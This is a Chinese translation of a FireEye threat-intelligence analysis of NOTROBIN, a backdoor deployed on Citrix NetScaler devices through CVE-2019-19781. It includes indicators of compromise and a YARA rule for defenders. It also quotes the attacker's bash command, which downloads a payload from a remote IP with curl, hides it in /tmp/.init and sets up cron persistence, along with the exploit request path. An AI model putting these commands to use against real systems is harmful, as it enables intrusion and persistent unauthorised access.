NOTROBIN：一个定期清除CVE-2019-19781漏洞利用代码的恶意软件

前言

近期，FireEye Mandiant应急响应团队正持续应对攻击者利用CVE-2019-19781发起的攻击活动，我们已经在此前发表过一篇文章《粗糙的补丁：我保证访问网站时是200 OK》。在此期间，有许多攻击者针对未实施Citrix缓解步骤的Citrix ADC进行了成功的漏洞利用，我们对其进行了详细分析，最终掌握了多个漏洞利用后（Post-Exploitation）活动。在其中，有一些地方引起了我们的关注——一个特定的威胁参与者正在部署此前从未被发现过的Payload，我们将这些恶意代码命名为NOTROBIN。

该攻击者在获得对易受攻击的NetScaler设备的访问权限之后，就会清除已知的恶意软件并部署NOTROBIN以阻止后续的漏洞利用尝试。但实际上，事实并非表面看上去的那样，NOTROBIN会为持有密码短语的攻击者维护后门访问权限。FireEye分析认为，该攻击者可能正在悄悄地收集对NetScaler设备的访问权限，以开展后续恶意活动。

初始攻击

威胁参与者使用CVE-2019-19781漏洞利用，在受感染的NetScaler设备上执行Shell命令。攻击者从Tor出口节点发出HTTP POST请求，以将Payload传输到易受攻击的newbm.pl CGI脚本。例如，下面展示了一个Web服务器访问日志条目，记录了漏洞利用的过程：

127.0.0.2 - - [12/Jan/2020:21:55:19 -0500] "POST
/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1" 304 - "-" "curl/7.67.0"

与其他威胁参与者不同，该威胁参与者似乎仅使用一个HTTP POST请求来实现设备的漏洞利用，该请求将导致HTTP 304响应，我们没有观察到攻击者使用HTTP GET请求来调用不同阶段的命令。然而，我们目前还没能恢复POST正文内容以了解其工作原理。但不管怎样，该漏洞利用会导致下面所示的Bash代码在被攻击的系统上运行：

pkill -9 netscalerd; rm /var/tmp/netscalerd; mkdir /tmp/.init; curl -k
hxxps://95.179.163[.]186/wp-content/uploads/2018/09/64d4c2d3ee56af4f4ca8171556d50faa -o
/tmp/.init/httpd; chmod 744 /tmp/.init/httpd; echo "* * * * *
/var/nstmp/.nscache/httpd" | crontab -; /tmp/.init/httpd &"

这样的漏洞利用方式，与《粗糙的补丁：我保证访问网站时是200 OK》中所描述的方法相同。在运行这一系列命令后，攻击者将实现：

1、杀死并删除所有正在运行的netscalerd实例，这是用于部署到NetScaler设备的加密货币挖矿实用程序的通用进程名称。

2、创建一个隐藏的阶段目录/tmp/.init，将NOTROBIN下载到该目录，然后赋予该目录执行权限。

3、通过cron守护程序安装/var/nstmp/.nscache/httpd以保证持久性，NOTROBIN会将其自身复制到该目录中。

4、手动执行NOTROBIN。

在这里，有许多地方需要详细展开分析。值得关注的是，威胁参与者利用CVE-2019-19781

漏洞删除了部分已知针对NetScaler设备的恶意软件。加密货币挖矿恶意软件非常容易识别，只需要寻找CPU占用量接近于100%的进程即可。通过删除这些不需要的实用程序，威胁参与者可能希望管理员忽略其NetScaler设备存在的明显漏洞。

攻击者使用curl命令从IP地址为95.179.163[.]186的托管服务器上获取NOTROBIN，该托管服务器的IP地址似乎对应一个已经废弃的WordPress网站。FireEye已经识别出该服务器上托管的许多Payload，每个Payload均使用其嵌入式身份验证密钥进行命名。有趣的是，我们还没有看到在不同客户端之间重复使用的Payload。对Payload的区分表示攻击者正在确保准确地操纵被感染主机。

FireEye已经对cron syslog条目进行成功恢复，如下所示。这些条目证实了NOTROBIN的持久化过程。需要注意的是，这些条目是在初始攻击之后才会执行。由此可以看出，这是NetScaler设备被该威胁参与者攻陷的一个明显指标。

Jan 12 21:57:00  foo.netscaler /usr/sbin/cron[73531]:
(nobody) CMD (/var/nstmp/.nscache/httpd)

NOTROBIN恶意软件分析

NOTROBIN是使用Go 1.10编写的实用程序，并且已经编译为BSD系统的64位ELF二进制文件。该文件会定期扫描并删除文件名模式和内容特征相匹配的文件。其目的似乎是为了阻止针对CVE-2019-19781的漏洞利用尝试。但是，FireEye认为NOTROBIN提供了对受感染系统的后门访问。

在执行时，NOTROBIN确保其自身从/var/nstmp/.nscache/httpd路径运行。如果当时没有位于该路径，则实用程序会将自身复制到该路径中，生成新的副本，然后退出。通过将进程从/tmp/（一个供长期运行的进程执行的可疑位置）迁移到与NetScaler相关的隐藏目录，可以有效地逃避检测。

接下来的操作非常有趣，恶意软件产生了两个用于定期检查漏洞利用并删除的例程。

除非文件名或文件内容中包含硬编码的密钥（例如：64d4c2d3ee56af4f4ca8171556d50faa），否则NOTROBIN会每秒在/netscaler/portal/scripts/目录中搜索在过去14天内创建的条目并将其删除。网上的开源报告表明，一些威胁参与者在利用CVE-2019-19781后，会将脚本写入到/netscaler/portal/scripts/目录中。因此，我们认为该例程可以清除已知的一些恶意Payload，例如PersonalBookmark.pl。

NOTROBIN会以每秒8次的频率，在/netscaler/portal/templates/目录中搜索扩展名为.xml的文件。这是CVE-2019-19781漏洞利用程序存放模板的目录，模板中包含攻击者定义的命令。NOTROBIN会删除可能与潜在漏洞利用代码相匹配的字符串或文件，例如ProjectZeroIndia漏洞利用中的代码。但是，该实用程序不会删除文件名中包含密钥的文件。

FireEye认为，威胁参与者通过部署NOTROBIN来阻止对CVE-2019-19781漏洞的利用，同时可以保持对被攻陷的NetScaler设备的后门访问。漏洞缓解措施的工作原理是，在被调用之前，先删除NetScaler模板中发现的阶段攻击代码。但是，一旦威胁参与者在后续漏洞利用期间提供了硬编码的密钥，NOTROBIN就不会删除Payload。这样一来，威胁参与者可以在后续重新获得对易受攻击设备的访问权限。

在多起应急响应之中，FireEye观察到攻击者使用了不同的唯一密钥来部署NOTROBIN。例如，我们已经从大量二进制文件中恢复了近100个密钥。尽管FireEye未能根据这些密钥恢复出任何纯文本，但这些内容看上去像是MD5哈希值。使用复杂的唯一密钥，第三方（例如：其他作为竞争对手的攻击者或安全研究团队）将很难识别威胁并保护NetScaler设备。在我们看来，攻击者严格遵循了强密码的安全策略。

基于在NOTROBIN中找到的字符串，我们发现威胁参与者似乎会使用以该密钥命名的源代码文件，将密钥写入到Go项目中，下面展现了这些文件名的示例。

从NOTROBIN样本中恢复出来的源文件名：

/tmp/b/.tmpl_ci/64d4c2d3ee56af4f4ca8171556d50faa.go

从另一个样本中恢复出来的源文件名：

/root/backup/sources/d474a8de77902851f96a3b7aa2dcbb8e.go

我们在猜测，“tmpl_ci”是否表示一种持续集成设置，该设置将源代码模板应用到注入键中，并构建NOTROBIN实体。我们也希望威胁参与者在失去原始资源后不用再恢复备份。

需进一步分析的问题

NOTROBIN会产生一个后台例程，该例程监听UDP/18634端口并接收数据。但是，恶意软件将不会检查这些数据而直接丢弃，我们可以在下图中看到这一逻辑。FireEye团队目前还不清楚这一行为的目的，推测可能是恶意软件包含的一些冗余机制，因为该端口上只有一个监听器可以处于活跃状态。

NOTROBIN中丢弃UDP流量的逻辑：

此外，还有一个空函数main.install_cron，其实现已经被删除。我们推断，这些可能是NOTROBIN早期版本的痕迹。在任何情况下，如果NetScaler设备的UDP/18634端口处于监听状态，就可以断定该设备已经感染NOTROBIN，这是一个可靠的威胁指标。下图展示了如何列举被攻陷NetScaler设备上打开的文件句柄，其中包含监听UDP/18634的端口。

被攻陷的NetScaler设备的文件句柄列表：

攻击活动分析

在其中的一次调查中，FireEye发现了威胁参与者部署NOTROBIN前后，其他攻击者对单个设备进行NetScaler漏洞利用尝试的实质证据。在1月12日之前，也就是安装NOTROBIN之前，我们发现了多个攻击者对设备进行的成功攻击。但是，在安装NOTROBIN后的3天之内，我们发现NOTROBIN成功阻止了十余次漏洞利用尝试。换而言之，NOTROBIN对易受攻击的设备进行了防护，使其免受其他威胁的攻击。例如，下面展示了一条漏洞利用失败的相关日志消息。

127.0.0.2 - - [13/Jan/2020:05:09:07 -0500] "GET
/vpn/../vpns/portal/wTyaINaDVPaw8rmh.xml HTTP/1.1" 404 48 "-"
"curl/7.47.0"

请注意，但这个其他威胁参与者尝试调用在模板wTyaINaDVPaw8rmh.xml中暂存的Payload时，应用程序服务器将使用HTTP 404（Not Found）进行响应。NOTROBIN在创建恶意模板之后，其他威胁参与者利用之前，就迅速地删除了这个恶意模板。

FireEye尚未确定威胁攻击者是否成功获得了NOTROBIN后门。

总结

FireEye相信，NOTROBIN幕后的威胁参与者一直在致力于攻击NetScaler设备，可能是为即将到来的恶意活动做准备。该威胁参与者删除了其他已知的恶意软件，可能是为了避免管理员在阅读Citrix安全公告CTX267027后检查其设备。NOTROBIN实际上缓解了受感染设备上存在的CVE-2019-19781漏洞，但还是保留了一个后门，提供给持有特定密钥的攻击者使用。尽管我们还没有看到攻击者在利用这个漏洞，但我们怀疑攻击者是否会继续扮演着“罗宾汉”角色，保护设备免受攻击者的侵害。

威胁指标

下面列出了FireEye识别出的NOTROBIN变种的威胁指标。其中的域名vilarunners[.]cat是存放NOTROBIN Payload的WordPress网站。在观察到的恶意活动时间内，该域名解析为95.179.163[.]186。从1月15日开始，vilarunners[.]cat域名解析为新的IP地址80.240.31[.]218。

HTTP URL前缀：hxxps://95[.]179.163.186/wp-content/uploads/2018/09/

目录：/var/nstmp/.nscache

文件名：/var/nstmp/.nscache/httpd

目录：/tmp/.init

文件名：/tmp/.init/httpd

Crontab条目：/var/nstmp/.nscache/httpd

监听UDP端口：18634

远程IP：95.179.163[.]186

远程IP：80.240.31[.]218

域名：vilarunners[.]cat

VirusTotal指标

我们可以使用以下VTI查询，来查找VirusTotal上的NOTROBIN变种：

vhash:"73cee1e8e1c3265c8f836516c53ae042"

vhash:"e57a7713cdf89a2f72c6526549d22987"

请注意，vHash实现是私有的，因此我们无法确认该技术为何有效。实际上，vHash涵盖了与下述Yara规则匹配的相同变种。

rule NOTROBIN
{
    meta:
        author = "william.ballenthin@fireeye.com"
        date_created = "2020-01-15"
    strings:
        $func_name_1 = "main.remove_bds"
        $func_name_2 = "main.xrun"
    condition:
        all of them
}

FireEye已经从NOTROBIN变种中识别出将近100个硬编码密钥，威胁参与者可以利用这些来重新访问存在漏洞的环境。我们希望可以在后续的漏洞利用尝试中找到这些字符串，无论是文件名还是Payload内容。我们不会公开发布这部分内容，但如果各位读者需要在环境中查找NOTROBIN，可以联系我们，我们可以提供列表。

致谢

感谢FireEye对NOTROBIN恶意软件相关活动进行应急响应的安全人员，包括Brandan Schondorfer进行的收集与组件分析、Steven Miller进行的协调分析、Evan Reese进行的线索追踪、Chris Glyer进行的技术审查、Moritz Raabe对NOTROBIN样本进行的逆向分析以及Ashley Frazer进行完善的表述和结论。